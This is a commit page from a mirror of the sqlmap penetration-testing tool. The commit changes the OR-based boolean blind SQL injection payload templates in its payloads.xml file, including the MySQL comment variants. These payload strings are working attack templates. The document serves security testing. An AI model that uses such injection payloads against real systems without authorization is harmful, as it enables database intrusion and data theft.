PenTest/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-01-18 20:39:02 +00:00
Code Issues Projects Releases Wiki Activity

improvement toward proper implementation of OR-based injection by usage of "negative logic" mechanism

Browse Source
This commit is contained in:
Miroslav Stampar
2012-03-29 14:33:27 +00:00
parent ce4c697bbd
commit 637a8d8273
5 changed files with 23 additions and 16 deletions
Download Patch File Download Diff File Expand all files Collapse all files

18
xml/payloads.xml
View File

@@ -615,12 +615,12 @@ Formats:
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR NOT ([INFERENCE])</vector>
<vector>OR ([INFERENCE])</vector>
<request>
<payload>OR NOT ([RANDNUM]=[RANDNUM])</payload>
<payload>OR ([RANDNUM]=[RANDNUM])</payload>
</request>
<response>
<comparison>OR NOT ([RANDNUM]=[RANDNUM1])</comparison>
<comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>
</response>
</test>
@@ -631,13 +631,13 @@ Formats:
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR NOT ([INFERENCE])</vector>
<vector>OR ([INFERENCE])</vector>
<request>
<payload>OR NOT ([RANDNUM]=[RANDNUM])</payload>
<payload>OR ([RANDNUM]=[RANDNUM])</payload>
<comment>#</comment>
</request>
<response>
<comparison>OR NOT ([RANDNUM]=[RANDNUM1])</comparison>
<comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>
</response>
<details>
<dbms>MySQL</dbms>
@@ -651,13 +651,13 @@ Formats:
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR NOT ([INFERENCE])</vector>
<vector>OR ([INFERENCE])</vector>
<request>
<payload>OR NOT ([RANDNUM]=[RANDNUM])</payload>
<payload>OR ([RANDNUM]=[RANDNUM])</payload>
<comment>-- </comment>
</request>
<response>
<comparison>OR NOT ([RANDNUM]=[RANDNUM1])</comparison>
<comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>
</response>
</test>